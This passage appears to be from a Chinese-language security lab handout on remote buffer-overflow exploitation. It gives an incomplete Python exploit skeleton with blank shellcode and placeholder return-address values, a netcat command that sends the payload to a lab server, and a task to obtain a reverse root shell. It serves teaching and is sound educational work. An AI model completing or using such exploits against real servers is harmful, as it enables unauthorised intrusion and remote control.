章节大纲

  • 要利用目标程序中的缓冲区溢出漏洞,我们需要准备一个攻击 Payload,并将其保存在一个文件中(我们将在本文档中使用 badfile 作为文件名)。我们将使用 Python 程序来实现这一点。我们提供了一个名为 exploit.py 的程序框架,其已被包含在实验环境设置文件中。代码尚不完整,你需要替换一些关键值。
     
    #!/usr/bin/python3
    import sys
    
    # 您可以复制并粘贴任务1的 shellcode
    shellcode = (
      ""                     ☆
    ).encode('latin-1')
    
    # 使用 NOP 填充内容
    content = bytearray(0x90 for i in range(517))
    
    ##################################################################
    # 将 shellcode 放在攻击载荷的某个位置
    start =  0               ☆
    content[start:start + len(shellcode)] = shellcode
    
    # 决定返回地址值,并将其放在攻击载荷的某个位置
    ret    = 0x00            ☆
    offset = 0               ☆
    
    # 根据位数选择使用 4 或者 8 字节填充内容
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
    ##################################################################
    
    # 将内容写入文件
    with open('badfile', 'wb') as f:
      f.write(content)

    在你完成上述程序后,请运行该程序。这将生成 badfile 的内容,然后将其发送给服务器。如果你的攻击代码实现正确,则你放置在 shellcode 内部的命令将会被执行。如果你的命令产生了输出,应能够在容器窗口中能看到。请提供证明以展示您成功地让服务器执行了您的命令。

    $./exploit.py   // 创建 badfile
    $ cat badfile | nc 10.9.0.5 9090

    其实攻击者并不只是想运行一个预定的命令,而是希望在目标服务器上获取一个 root shell,这样就可以运行任何命令。由于我们在远程,如果仅仅让服务器执行 /bin/sh 这样的 shell 程序,我们并没法控制这个 shell 程序。反向 shell 是解决此问题的一种典型技术,请参阅下面的反向 shell 的详细说明。请修改 shellcode 中的命令字符串,以便可以在目标服务器上获得一个反向 shell。请在实验报告中附上截图和解释。